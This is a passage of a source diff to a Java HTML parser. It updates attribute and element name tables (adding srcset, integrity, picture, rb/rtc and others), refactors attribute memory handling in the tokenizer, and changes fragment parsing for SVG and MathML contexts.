public static final AttributeName REPEAT = new AttributeName(ALL_NO_NS, SAME_LOCAL("repeat"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
+ public static final AttributeName SRCSET = new AttributeName(ALL_NO_NS, SAME_LOCAL("srcset"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName RSPACE = new AttributeName(ALL_NO_NS, SAME_LOCAL("rspace"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ROTATE = new AttributeName(ALL_NO_NS, SAME_LOCAL("rotate"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName RQUOTE = new AttributeName(ALL_NO_NS, SAME_LOCAL("rquote"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
@@ -1008,10 +1010,10 @@ public final class AttributeName
public static final AttributeName ELEVATION = new AttributeName(ALL_NO_NS, SAME_LOCAL("elevation"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName DIRECTION = new AttributeName(ALL_NO_NS, SAME_LOCAL("direction"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName DRAGGABLE = new AttributeName(ALL_NO_NS, SAME_LOCAL("draggable"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
- public static final AttributeName FILTERRES = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("filterres", "filterRes"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName FILL_RULE = new AttributeName(ALL_NO_NS, SAME_LOCAL("fill-rule"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName FONTSTYLE = new AttributeName(ALL_NO_NS, SAME_LOCAL("fontstyle"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName FONT_SIZE = new AttributeName(ALL_NO_NS, SAME_LOCAL("font-size"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
+ public static final AttributeName KEYSYSTEM = new AttributeName(ALL_NO_NS, SAME_LOCAL("keysystem"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName KEYPOINTS = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("keypoints", "keyPoints"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName HIDEFOCUS = new AttributeName(ALL_NO_NS, SAME_LOCAL("hidefocus"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONMESSAGE = new AttributeName(ALL_NO_NS, SAME_LOCAL("onmessage"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
@@ -1019,6 +1021,7 @@ public final class AttributeName
public static final AttributeName ONDRAGEND = new AttributeName(ALL_NO_NS, SAME_LOCAL("ondragend"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONMOVEEND = new AttributeName(ALL_NO_NS, SAME_LOCAL("onmoveend"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONINVALID = new AttributeName(ALL_NO_NS, SAME_LOCAL("oninvalid"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
+ public static final AttributeName INTEGRITY = new AttributeName(ALL_NO_NS, SAME_LOCAL("integrity"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONKEYDOWN = new AttributeName(ALL_NO_NS, SAME_LOCAL("onkeydown"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONFOCUSIN = new AttributeName(ALL_NO_NS, SAME_LOCAL("onfocusin"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONMOUSEUP = new AttributeName(ALL_NO_NS, SAME_LOCAL("onmouseup"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
@@ -1248,7 +1251,6 @@ public final class AttributeName
public static final AttributeName STROKE_LINEJOIN = new AttributeName(ALL_NO_NS, SAME_LOCAL("stroke-linejoin"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName REPEAT_TEMPLATE = new AttributeName(ALL_NO_NS, SAME_LOCAL("repeat-template"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ARIA_DESCRIBEDBY = new AttributeName(ALL_NO_NS, SAME_LOCAL("aria-describedby"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
- public static final AttributeName CONTENTSTYLETYPE = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("contentstyletype", "contentStyleType"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName FONT_SIZE_ADJUST = new AttributeName(ALL_NO_NS, SAME_LOCAL("font-size-adjust"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName KERNELUNITLENGTH = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("kernelunitlength", "kernelUnitLength"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ONBEFOREACTIVATE = new AttributeName(ALL_NO_NS, SAME_LOCAL("onbeforeactivate"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
@@ -1265,7 +1267,6 @@ public final class AttributeName
public static final AttributeName XCHANNELSELECTOR = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("xchannelselector", "xChannelSelector"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName YCHANNELSELECTOR = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("ychannelselector", "yChannelSelector"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ARIA_AUTOCOMPLETE = new AttributeName(ALL_NO_NS, SAME_LOCAL("aria-autocomplete"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
- public static final AttributeName CONTENTSCRIPTTYPE = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("contentscripttype", "contentScriptType"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName ENABLE_BACKGROUND = new AttributeName(ALL_NO_NS, SAME_LOCAL("enable-background"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName DOMINANT_BASELINE = new AttributeName(ALL_NO_NS, SAME_LOCAL("dominant-baseline"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName GRADIENTTRANSFORM = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("gradienttransform", "gradientTransform"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
@@ -1294,7 +1295,6 @@ public final class AttributeName
public static final AttributeName VERYVERYTHICKMATHSPACE = new AttributeName(ALL_NO_NS, SAME_LOCAL("veryverythickmathspace"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName STRIKETHROUGH_POSITION = new AttributeName(ALL_NO_NS, SAME_LOCAL("strikethrough-position"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName STRIKETHROUGH_THICKNESS = new AttributeName(ALL_NO_NS, SAME_LOCAL("strikethrough-thickness"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
- public static final AttributeName EXTERNALRESOURCESREQUIRED = new AttributeName(ALL_NO_NS, SVG_DIFFERENT("externalresourcesrequired", "externalResourcesRequired"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName GLYPH_ORIENTATION_VERTICAL = new AttributeName(ALL_NO_NS, SAME_LOCAL("glyph-orientation-vertical"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName COLOR_INTERPOLATION_FILTERS = new AttributeName(ALL_NO_NS, SAME_LOCAL("color-interpolation-filters"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
public static final AttributeName GLYPH_ORIENTATION_HORIZONTAL = new AttributeName(ALL_NO_NS, SAME_LOCAL("glyph-orientation-horizontal"), ALL_NO_PREFIX, NCNAME_HTML | NCNAME_FOREIGN | NCNAME_LANG);
@@ -1418,6 +1418,7 @@ public final class AttributeName
STYLE,
RULES,
STEMH,
+ SIZES,
STEMV,
START,
XMLNS,
@@ -1472,6 +1473,7 @@ public final class AttributeName
RADIUS,
RESULT,
REPEAT,
+ SRCSET,
RSPACE,
ROTATE,
RQUOTE,
@@ -1590,10 +1592,10 @@ public final class AttributeName
ELEVATION,
DIRECTION,
DRAGGABLE,
- FILTERRES,
FILL_RULE,
FONTSTYLE,
FONT_SIZE,
+ KEYSYSTEM,
KEYPOINTS,
HIDEFOCUS,
ONMESSAGE,
@@ -1601,6 +1603,7 @@ public final class AttributeName
ONDRAGEND,
ONMOVEEND,
ONINVALID,
+ INTEGRITY,
ONKEYDOWN,
ONFOCUSIN,
ONMOUSEUP,
@@ -1830,7 +1833,6 @@ public final class AttributeName
STROKE_LINEJOIN,
REPEAT_TEMPLATE,
ARIA_DESCRIBEDBY,
- CONTENTSTYLETYPE,
FONT_SIZE_ADJUST,
KERNELUNITLENGTH,
ONBEFOREACTIVATE,
@@ -1847,7 +1849,6 @@ public final class AttributeName
XCHANNELSELECTOR,
YCHANNELSELECTOR,
ARIA_AUTOCOMPLETE,
- CONTENTSCRIPTTYPE,
ENABLE_BACKGROUND,
DOMINANT_BASELINE,
GRADIENTTRANSFORM,
@@ -1876,7 +1877,6 @@ public final class AttributeName
VERYVERYTHICKMATHSPACE,
STRIKETHROUGH_POSITION,
STRIKETHROUGH_THICKNESS,
- EXTERNALRESOURCESREQUIRED,
GLYPH_ORIENTATION_VERTICAL,
COLOR_INTERPOLATION_FILTERS,
GLYPH_ORIENTATION_HORIZONTAL,
@@ -2001,6 +2001,7 @@ public final class AttributeName
191096249,
191166163,
191194426,
+ 191443343,
191522106,
191568039,
200104642,
@@ -2055,6 +2056,7 @@ public final class AttributeName
224785518,
224810917,
224813302,
+ 225126263,
225429618,
225432950,
225440869,
@@ -2173,10 +2175,10 @@ public final class AttributeName
307227811,
307468786,
307724489,
- 309671175,
310252031,
310358241,
310373094,
+ 310833159,
311015256,
313357609,
313683893,
@@ -2184,6 +2186,7 @@ public final class AttributeName
313706996,
313707317,
313710350,
+ 313795700,
314027746,
314038181,
314091299,
@@ -2413,7 +2416,6 @@ public final class AttributeName
526807354,
527348842,
538294791,
- 539214049,
544689535,
545535009,
548544752,
@@ -2430,7 +2432,6 @@ public final class AttributeName
569212097,
569474241,
572252718,
- 572768481,
575326764,
576174758,
576190819,
@@ -2459,7 +2460,6 @@ public final class AttributeName
759097578,
761686526,
795383908,
- 843809551,
878105336,
908643300,
945213471,
diff --git a/parser/html/javasrc/ElementName.java b/parser/html/javasrc/ElementName.java
index 60c838e17..40dcd1c6b 100644
--- a/parser/html/javasrc/ElementName.java
+++ b/parser/html/javasrc/ElementName.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2008-2011 Mozilla Foundation
+ * Copyright (c) 2008-2014 Mozilla Foundation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
@@ -342,8 +342,10 @@ public final class ElementName
// return "IFRAME";
// case TreeBuilder.NOEMBED:
// return "NOEMBED";
-// case TreeBuilder.EMBED_OR_IMG:
-// return "EMBED_OR_IMG";
+// case TreeBuilder.EMBED:
+// return "EMBED";
+// case TreeBuilder.IMG:
+// return "IMG";
// case TreeBuilder.AREA_OR_WBR:
// return "AREA_OR_WBR";
// case TreeBuilder.DIV_OR_BLOCKQUOTE_OR_CENTER_OR_MENU:
@@ -354,10 +356,10 @@ public final class ElementName
// return "ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY";
// case TreeBuilder.RUBY_OR_SPAN_OR_SUB_OR_SUP_OR_VAR:
// return "RUBY_OR_SPAN_OR_SUB_OR_SUP_OR_VAR";
+// case TreeBuilder.RB_OR_RTC:
+// return "RB_OR_RTC";
// case TreeBuilder.RT_OR_RP:
// return "RT_OR_RP";
-// case TreeBuilder.COMMAND:
-// return "COMMAND";
// case TreeBuilder.PARAM_OR_SOURCE_OR_TRACK:
// return "PARAM_OR_SOURCE_OR_TRACK";
// case TreeBuilder.MGLYPH_OR_MALIGNMARK:
@@ -445,6 +447,7 @@ public final class ElementName
public static final ElementName OL = new ElementName("ol", "ol", TreeBuilder.UL_OR_OL_OR_DL | SPECIAL);
public static final ElementName OR = new ElementName("or", "or", TreeBuilder.OTHER);
public static final ElementName PI = new ElementName("pi", "pi", TreeBuilder.OTHER);
+ public static final ElementName RB = new ElementName("rb", "rb", TreeBuilder.RB_OR_RTC | OPTIONAL_END_TAG);
public static final ElementName RP = new ElementName("rp", "rp", TreeBuilder.RT_OR_RP | OPTIONAL_END_TAG);
public static final ElementName RT = new ElementName("rt", "rt", TreeBuilder.RT_OR_RP | OPTIONAL_END_TAG);
public static final ElementName TD = new ElementName("td", "td", TreeBuilder.TD_OR_TH | SPECIAL | SCOPING | OPTIONAL_END_TAG);
@@ -484,6 +487,7 @@ public final class ElementName
public static final ElementName NOT = new ElementName("not", "not", TreeBuilder.OTHER);
public static final ElementName NAV = new ElementName("nav", "nav", TreeBuilder.ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY | SPECIAL);
public static final ElementName PRE = new ElementName("pre", "pre", TreeBuilder.PRE_OR_LISTING | SPECIAL);
+ public static final ElementName RTC = new ElementName("rtc", "rtc", TreeBuilder.RB_OR_RTC | OPTIONAL_END_TAG);
public static final ElementName REM = new ElementName("rem", "rem", TreeBuilder.OTHER);
public static final ElementName SUB = new ElementName("sub", "sub", TreeBuilder.RUBY_OR_SPAN_OR_SUB_OR_SUP_OR_VAR);
public static final ElementName SEC = new ElementName("sec", "sec", TreeBuilder.OTHER);
@@ -659,7 +663,6 @@ public final class ElementName
public static final ElementName ACRONYM = new ElementName("acronym", "acronym", TreeBuilder.OTHER);
public static final ElementName ADDRESS = new ElementName("address", "address", TreeBuilder.ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY | SPECIAL);
public static final ElementName BGSOUND = new ElementName("bgsound", "bgsound", TreeBuilder.LINK_OR_BASEFONT_OR_BGSOUND | SPECIAL);
- public static final ElementName COMMAND = new ElementName("command", "command", TreeBuilder.COMMAND | SPECIAL);
public static final ElementName COMPOSE = new ElementName("compose", "compose", TreeBuilder.OTHER);
public static final ElementName CEILING = new ElementName("ceiling", "ceiling", TreeBuilder.OTHER);
public static final ElementName CSYMBOL = new ElementName("csymbol", "csymbol", TreeBuilder.OTHER);
@@ -690,6 +693,7 @@ public final class ElementName
public static final ElementName NOEMBED = new ElementName("noembed", "noembed", TreeBuilder.NOEMBED | SPECIAL);
public static final ElementName POLYGON = new ElementName("polygon", "polygon", TreeBuilder.OTHER);
public static final ElementName PATTERN = new ElementName("pattern", "pattern", TreeBuilder.OTHER);
+ public static final ElementName PICTURE = new ElementName("picture", "picture", TreeBuilder.OTHER);
public static final ElementName PRODUCT = new ElementName("product", "product", TreeBuilder.OTHER);
public static final ElementName SETDIFF = new ElementName("setdiff", "setdiff", TreeBuilder.OTHER);
public static final ElementName SECTION = new ElementName("section", "section", TreeBuilder.ADDRESS_OR_ARTICLE_OR_ASIDE_OR_DETAILS_OR_DIR_OR_FIGCAPTION_OR_FIGURE_OR_FOOTER_OR_HEADER_OR_HGROUP_OR_MAIN_OR_NAV_OR_SECTION_OR_SUMMARY | SPECIAL);
@@ -726,7 +730,7 @@ public final class ElementName
public static final ElementName QUOTIENT = new ElementName("quotient", "quotient", TreeBuilder.OTHER);
public static final ElementName SELECTOR = new ElementName("selector", "selector", TreeBuilder.OTHER);
public static final ElementName TEXTAREA = new ElementName("textarea", "textarea", TreeBuilder.TEXTAREA | SPECIAL);
- public static final ElementName TEMPLATE = new ElementName("template", "template", TreeBuilder.TEMPLATE | SPECIAL);
+ public static final ElementName TEMPLATE = new ElementName("template", "template", TreeBuilder.TEMPLATE | SPECIAL | SCOPING);
public static final ElementName TEXTPATH = new ElementName("textpath", "textPath", TreeBuilder.OTHER);
public static final ElementName VARIANCE = new ElementName("variance", "variance", TreeBuilder.OTHER);
public static final ElementName ANIMATION = new ElementName("animation", "animation", TreeBuilder.OTHER);
@@ -774,6 +778,7 @@ public final class ElementName
public static final ElementName EXPONENTIALE = new ElementName("exponentiale", "exponentiale", TreeBuilder.OTHER);
public static final ElementName FETURBULENCE = new ElementName("feturbulence", "feTurbulence", TreeBuilder.OTHER);
public static final ElementName FEPOINTLIGHT = new ElementName("fepointlight", "fePointLight", TreeBuilder.OTHER);
+ public static final ElementName FEDROPSHADOW = new ElementName("fedropshadow", "feDropShadow", TreeBuilder.OTHER);
public static final ElementName FEMORPHOLOGY = new ElementName("femorphology", "feMorphology", TreeBuilder.OTHER);
public static final ElementName OUTERPRODUCT = new ElementName("outerproduct", "outerproduct", TreeBuilder.OTHER);
public static final ElementName ANIMATEMOTION = new ElementName("animatemotion", "animateMotion", TreeBuilder.OTHER);
@@ -840,6 +845,7 @@ public final class ElementName
OL,
OR,
PI,
+ RB,
RP,
RT,
TD,
@@ -879,6 +885,7 @@ public final class ElementName
NOT,
NAV,
PRE,
+ RTC,
REM,
SUB,
SEC,
@@ -1054,7 +1061,6 @@ public final class ElementName
ACRONYM,
ADDRESS,
BGSOUND,
- COMMAND,
COMPOSE,
CEILING,
CSYMBOL,
@@ -1085,6 +1091,7 @@ public final class ElementName
NOEMBED,
POLYGON,
PATTERN,
+ PICTURE,
PRODUCT,
SETDIFF,
SECTION,
@@ -1169,6 +1176,7 @@ public final class ElementName
EXPONENTIALE,
FETURBULENCE,
FEPOINTLIGHT,
+ FEDROPSHADOW,
FEMORPHOLOGY,
OUTERPRODUCT,
ANIMATEMOTION,
@@ -1236,6 +1244,7 @@ public final class ElementName
81295,
81487,
82224,
+ 84050,
84498,
84626,
86164,
@@ -1275,6 +1284,7 @@ public final class ElementName
3625454,
3627054,
3675728,
+ 3739282,
3749042,
3771059,
3771571,
@@ -1450,7 +1460,6 @@ public final class ElementName
236381647,
236571826,
237124271,
- 238172205,
238210544,
238270764,
238435405,
@@ -1481,6 +1490,7 @@ public final class ElementName
249697357,
252132601,
252135604,
+ 251841204,
252317348,
255007012,
255278388,
@@ -1565,6 +1575,7 @@ public final class ElementName
408072233,
409112005,
409608425,
+ 409713793,
409771500,
419040932,
437730612,
diff --git a/parser/html/javasrc/Tokenizer.java b/parser/html/javasrc/Tokenizer.java
index 41b0e62cd..79dc67a4e 100644
--- a/parser/html/javasrc/Tokenizer.java
+++ b/parser/html/javasrc/Tokenizer.java
@@ -497,12 +497,12 @@ public class Tokenizer implements Locator {
private boolean html4ModeCompatibleWithXhtml1Schemata;
- private final boolean newAttributesEachTime;
-
private int mappingLangToXmlLang;
// ]NOCPP]
+ private final boolean newAttributesEachTime;
+
private boolean shouldSuspend;
protected boolean confident;
@@ -554,8 +554,12 @@ public class Tokenizer implements Locator {
this.doctypeName = null;
this.publicIdentifier = null;
this.systemIdentifier = null;
+ // [NOCPP[
this.attributes = null;
- // CPPONLY: this.viewingXmlSource = viewingXmlSource;
+ // ]NOCPP]
+ // CPPONLY: this.attributes = tokenHandler.HasBuilder() ? new HtmlAttributes(mappingLangToXmlLang) : null;
+ // CPPONLY: this.newAttributesEachTime = !tokenHandler.HasBuilder();
+ // CPPONLY: this.viewingXmlSource = viewingXmlSource;
}
public void setInterner(Interner interner) {
@@ -1096,21 +1100,6 @@ public class Tokenizer implements Locator {
errorHandler.warning(spe);
}
- /**
- *
- */
- private void resetAttributes() {
- // [NOCPP[
- if (newAttributesEachTime) {
- // ]NOCPP]
- attributes = null;
- // [NOCPP[
- } else {
- attributes.clear(mappingLangToXmlLang);
- }
- // ]NOCPP]
- }
-
private void strBufToElementNameString() {
// if (strBufOffset != -1) {
// return ElementName.elementNameByBuffer(buf, strBufOffset, strBufLen);
@@ -1136,17 +1125,26 @@ public class Tokenizer implements Locator {
// CPPONLY: if (!viewingXmlSource) {
tokenHandler.endTag(tagName);
// CPPONLY: }
- Portability.delete(attributes);
+ // CPPONLY: if (newAttributesEachTime) {
+ // CPPONLY: Portability.delete(attributes);
+ // CPPONLY: attributes = null;
+ // CPPONLY: }
} else {
// CPPONLY: if (viewingXmlSource) {
- // CPPONLY: Portability.delete(attributes);
+ // CPPONLY: assert newAttributesEachTime;
+ // CPPONLY: Portability.delete(attributes);
+ // CPPONLY: attributes = null;
// CPPONLY: } else {
tokenHandler.startTag(tagName, attrs, selfClosing);
// CPPONLY: }
}
tagName.release();
tagName = null;
- resetAttributes();
+ if (newAttributesEachTime) {
+ attributes = null;
+ } else {
+ attributes.clear(mappingLangToXmlLang);
+ }
/*
* The token handler may have called setStateAndEndTagExpectation
* and changed stateSave since the start of this method.
@@ -6598,9 +6596,10 @@ public class Tokenizer implements Locator {
}
tokenHandler.endTokenization();
if (attributes != null) {
- attributes.clear(mappingLangToXmlLang);
- Portability.delete(attributes);
+ // [NOCPP[
attributes = null;
+ // ]NOCPP]
+ // CPPONLY: attributes.clear(mappingLangToXmlLang);
}
}
@@ -6680,16 +6679,12 @@ public class Tokenizer implements Locator {
attributeName.release();
attributeName = null;
}
- // [NOCPP[
if (newAttributesEachTime) {
- // ]NOCPP]
if (attributes != null) {
Portability.delete(attributes);
attributes = null;
}
- // [NOCPP[
}
- // ]NOCPP]
}
public void loadState(Tokenizer other) throws SAXException {
@@ -7005,6 +7000,8 @@ public class Tokenizer implements Locator {
void destructor() {
// The translator will write refcount tracing stuff here
+ Portability.delete(attributes);
+ attributes = null;
}
// [NOCPP[
diff --git a/parser/html/javasrc/TreeBuilder.java b/parser/html/javasrc/TreeBuilder.java
index 7cbb4d062..c9202e375 100644
--- a/parser/html/javasrc/TreeBuilder.java
+++ b/parser/html/javasrc/TreeBuilder.java
@@ -39,6 +39,11 @@ import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
+import org.xml.sax.ErrorHandler;
+import org.xml.sax.Locator;
+import org.xml.sax.SAXException;
+import org.xml.sax.SAXParseException;
+
import nu.validator.htmlparser.annotation.Auto;
import nu.validator.htmlparser.annotation.Const;
import nu.validator.htmlparser.annotation.IdType;
@@ -54,11 +59,6 @@ import nu.validator.htmlparser.common.Interner;
import nu.validator.htmlparser.common.TokenHandler;
import nu.validator.htmlparser.common.XmlViolationPolicy;
-import org.xml.sax.ErrorHandler;
-import org.xml.sax.Locator;
-import org.xml.sax.SAXException;
-import org.xml.sax.SAXParseException;
-
public abstract class TreeBuilder<T> implements TokenHandler,
TreeBuilderState<T> {
@@ -173,9 +173,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
final static int RUBY_OR_SPAN_OR_SUB_OR_SUP_OR_VAR = 52;
- final static int RT_OR_RP = 53;
-
- final static int COMMAND = 54;
+ final static int RB_OR_RTC = 53;
final static int PARAM_OR_SOURCE_OR_TRACK = 55;
@@ -205,6 +203,8 @@ public abstract class TreeBuilder<T> implements TokenHandler,
final static int IMG = 68;
+ final static int RT_OR_RP = 69;
+
// start insertion modes
private static final int IN_ROW = 0;
@@ -273,7 +273,7 @@ public abstract class TreeBuilder<T> implements TokenHandler,
private static final int TEXT = 21;
- private static final int TEMPLATE_CONTENTS = 22;
+ private static final int IN_TEMPLATE = 22;
// start charset states
@@ -611,31 +611,104 @@ public abstract class TreeBuilder<T> implements TokenHandler,
} else {
elt = createHtmlElementSetAsRoot(tokenizer.emptyAttributes());
}
- StackNode<T> node = new StackNode<T>(ElementName.HTML, elt
- // [NOCPP[
- , errorHandler == null ? null : new TaintableLocatorImpl(tokenizer)
- // ]NOCPP]
- );
- currentPtr++;
- stack[currentPtr] = node;
- if ("template" == contextName) {
- pushTemplateMode(TEMPLATE_CONTENTS);
- }
- resetTheInsertionMode();
- if ("title" == contextName || "textarea" == contextName) {
- tokenizer.setStateAndEndTagExpectation(Tokenizer.RCDATA, contextName);
- } else if ("style" == contextName || "xmp" == contextName
- || "iframe" == contextName || "noembed" == contextName
- || "noframes" == contextName
- || (scriptingEnabled && "noscript" == contextName)) {
- tokenizer.setStateAndEndTagExpectation(Tokenizer.RAWTEXT, contextName);
- } else if ("plaintext" == contextName) {
- tokenizer.setStateAndEndTagExpectation(Tokenizer.PLAINTEXT, contextName);
- } else if ("script" == contextName) {
- tokenizer.setStateAndEndTagExpectation(Tokenizer.SCRIPT_DATA,
+ // When the context node is not in the HTML namespace, contrary
+ // to the spec, the first node on the stack is not set to "html"
+ // in the HTML namespace. Instead, it is set to a node that has
+ // the characteristics of the appropriate "adjusted current node".
+ // This way, there is no need to perform "adjusted current node"
+ // checks during tree construction. Instead, it's sufficient to
+ // just look at the current node. However, this also means that it
+ // is not safe to treat "html" in the HTML namespace as a sentinel
+ // that ends stack popping. Instead, stack popping loops that are
+ // meant not to pop the first element on the stack need to check
+ // for currentPos becoming zero.
+ if (contextNamespace == "http://www.w3.org/2000/svg") {
+ ElementName elementName = ElementName.SVG;
+ if ("title" == contextName || "desc" == contextName
+ || "foreignObject" == contextName) {
+ // These elements are all alike and we don't care about
+ // the exact name.
+ elementName = ElementName.FOREIGNOBJECT;
+ }
+ // This is the SVG variant of the StackNode constructor.
+ StackNode<T> node = new StackNode<T>(elementName,
+ elementName.camelCaseName, elt
+ // [NOCPP[
+ , errorHandler == null ? null
+ : new TaintableLocatorImpl(tokenizer)
+ // ]NOCPP]
+ );
+ currentPtr++;
+ stack[currentPtr] = node;
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.DATA,
contextName);
- } else {
- tokenizer.setStateAndEndTagExpectation(Tokenizer.DATA, contextName);
+ // The frameset-ok flag is set even though <frameset> never
+ // ends up being allowed as HTML frameset in the fragment case.
+ mode = FRAMESET_OK;
+ } else if (contextNamespace == "http://www.w3.org/1998/Math/MathML") {
+ ElementName elementName = ElementName.MATH;
+ if ("mi" == contextName || "mo" == contextName
+ || "mn" == contextName || "ms" == contextName
+ || "mtext" == contextName) {
+ // These elements are all alike and we don't care about
+ // the exact name.
+ elementName = ElementName.MTEXT;
+ } else if ("annotation-xml" == contextName) {
+ elementName = ElementName.ANNOTATION_XML;
+ // Blink does not check the encoding attribute of the
+ // annotation-xml element innerHTML is being set on.
+ // Let's do the same at least until
+ // https://www.w3.org/Bugs/Public/show_bug.cgi?id=26783
+ // is resolved.
+ }
+ // This is the MathML variant of the StackNode constructor.
+ StackNode<T> node = new StackNode<T>(elementName, elt,
+ elementName.name, false
+ // [NOCPP[
+ , errorHandler == null ? null
+ : new TaintableLocatorImpl(tokenizer)
+ // ]NOCPP]
+ );
+ currentPtr++;
+ stack[currentPtr] = node;
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.DATA,
+ contextName);
+ // The frameset-ok flag is set even though <frameset> never
+ // ends up being allowed as HTML frameset in the fragment case.
+ mode = FRAMESET_OK;
+ } else { // html
+ StackNode<T> node = new StackNode<T>(ElementName.HTML, elt
+ // [NOCPP[
+ , errorHandler == null ? null
+ : new TaintableLocatorImpl(tokenizer)
+ // ]NOCPP]
+ );
+ currentPtr++;
+ stack[currentPtr] = node;
+ if ("template" == contextName) {
+ pushTemplateMode(IN_TEMPLATE);
+ }
+ resetTheInsertionMode();
+ formPointer = getFormPointerForContext(contextNode);
+ if ("title" == contextName || "textarea" == contextName) {
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.RCDATA,
+ contextName);
+ } else if ("style" == contextName || "xmp" == contextName
+ || "iframe" == contextName || "noembed" == contextName
+ || "noframes" == contextName
+ || (scriptingEnabled && "noscript" == contextName)) {
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.RAWTEXT,
+ contextName);
+ } else if ("plaintext" == contextName) {
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.PLAINTEXT,
+ contextName);
+ } else if ("script" == contextName) {
+ tokenizer.setStateAndEndTagExpectation(
+ Tokenizer.SCRIPT_DATA, contextName);
+ } else {
+ tokenizer.setStateAndEndTagExpectation(Tokenizer.DATA,
+ contextName);
+ }
}
contextName = null;
